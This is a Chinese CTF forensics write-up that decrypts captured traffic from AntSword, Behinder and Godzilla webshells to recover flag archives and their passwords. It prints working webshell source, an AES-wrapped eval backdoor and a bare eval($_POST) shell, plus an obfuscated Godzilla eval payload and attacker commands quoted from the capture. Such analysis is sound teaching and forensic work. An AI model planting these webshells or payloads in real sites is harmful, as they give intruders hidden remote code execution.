webshell三巨头综合分析(蚁剑,冰蝎,哥斯拉)

news2024/11/24 20:53:09

考点: 蚁剑,冰蝎,哥斯拉流量解密

存在3个shell
过滤器
http.request.full_uri contains "shell1.php" or http.response_for.uri contains "shell1.php"

POST请求存在明文传输 ant
一般蚁剑执行命令用垃圾字符在最开头填充去掉垃圾字符直到可以正常base64解码
Y2QgL2QgIkQ6XFwwLnBocHN0dWR5X3Byb1xcV1dXXFx3ZWIyIiZkaXImZWNobyBbU10mY2QmZWNobyBbRV0=

返回包做了aes加密不知道密钥无法解密响应包
接着向下看

传输了rar文件保存下来flag1.rar

存在密码有flag1.txt
看shell2.php的流量
过滤器http.request.full_uri contains "shell2.php" or http.response_for.uri contains "shell2.php"

看响应一眼冰蝎4流量
有webshell流量在线分析可以爆出来
https://potato.gold/navbar/tool/webshellDecrypt/index.php

e45e329feb5d925b 还是冰蝎默认密钥
请求

No.1184
$mode="show";$mode=base64_decode($mode);$path="D:/0.phpstudy_pro/WWW/web2/shell1.php";...

响应

No.1187
{"status":"success","msg":"<?php

@session_start();

$pwd='ant';

$key=@substr(str_pad(session_id(),16,'a'),0,16);

@eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING));

?>"}

展示(show)了shell1.php源码

<?php

@session_start();

$pwd='ant';

$key=@substr(str_pad(session_id(),16,'a'),0,16);

@eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING));

?>

加密模式 AES-128-ECB 密码 ant 可以解密shell1的流量响应包
但是我们接着分析冰蝎流量数据

No.1113
$mode="show";$mode=base64_decode($mode);$path="D:/0.phpstudy_pro/WWW/web2/shell3.php";...
No.1116
{"status":"success","msg":"<?php

eval($_POST["ctf"]);
//show了shell3.php的源码
"}

No.824
$mode="downloadPart";$mode=base64_decode($mode);$path="D:/0.phpstudy_pro/WWW/web2/flag2.rar";
No.827
{"msg":"526172211a0701003392b5e50a01050600050101808000776b7c645602033ca00004950020b434a8f380030009666c6167322e747874300100030f26da1141fe4efb8622bc113d5b379d8f67a5542acbe1e7f007e93599569cf954a89fcedc6f70068bbc6ca8dc0a03022eff99e64505da01de33f6bb44622cd782cfa425c3d3539379027864818c7785412894c7923e99271d77565103050400","status":"success"}
//存在flag2.rar文件

提取出来同样存在密码

分析shell3.php
http.request.full_uri contains "shell3.php" or http.response_for.uri contains "shell3.php"
存在明显的a-f,0-9字符响应包开头和结尾是16为md5值,那么这个流量就一定是哥斯拉流量

每次请求携带

ctf=eval(base64_decode(strrev(urldecode('==gCN0nCN0HIgACIK0QfgACIgACIgAiCNsTK5V2akwSY0FGZkgSZk92YuVWPdVWbh5EZh9Gb5FGckslTPl0UTV0UfRCIgACIgACIgACIgAiCNsXKlNHbhZWP9ESKi8mZul0cjl2chJEdldmIsEGdhRGJoM3bwJHdzhCImlGIgACIgACIgoQD7V2csVWfgACIgoQD7kiNxwSK5V2ak4yczFGckgSNk1GKyR3ciV3cg8GajVGIgACIgACIgoQD7kSK5V2akwSKhRXYkRCKuVncAhSZk92YuVGKlR2bj5WZfRjNlNXYiByboNWZgACIgACIgAiCNsTK2EDLwwSK5V2ak4yczFGckgSNk1GKyR3ciV3cg8GajVGIgACIgACIgoQD7kCZh9Gb5FGckgCbhZXZJkgCN0HIgACIgACIgoQD7kSeltGJsQWYvxWehBHJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIgACIgoQD7lSZzxWYm1TP9kiIvZmbJN3YpNXYCRXZnJCLkF2bslXYwRCKz9GcyR3coAiZpBCIgACIgACIK0wOpkXZrRCLdVWbh5EZh9Gb5FGckslTPl0UTV0UfRCKlR2bj5WZ9QWYvxWehBHJgACIgACIgAiCNsXKp0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoQXZzNXaoAiZpBCIgAiCNsTK5V2akwSKdN3chBHJbR1UPB1XkgSZk92YlR2X0YTZzFmYoUGZvNmbl1TY0FGZkACIgAiCNsXKp01czFGcksFVT9EUfRCK0V2czlGKgYWaK0wOnUTZmhDZ2QGN3QTZkJ2YzAzJ9kXZrRiCNszJkF2bslXYwdSPl1WYORWYvxWehBHJK0wOnMjMxcWYsZ2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD'))));

做了字符翻转和base64编码

可以拿到哥斯拉密钥 03cbde474d6d8fe5 分析流量

No.117
cd /d "D:/0.phpstudy_pro/WWW/web2/"&rar a flag1.rar flag1.txt -p#ctf@flag123#" 2>&1

No.130
cd /d "D:/0.phpstudy_pro/WWW/web2/"&rar a flag2.rar flag2.txt -p#flag@ctf123#" 2>&1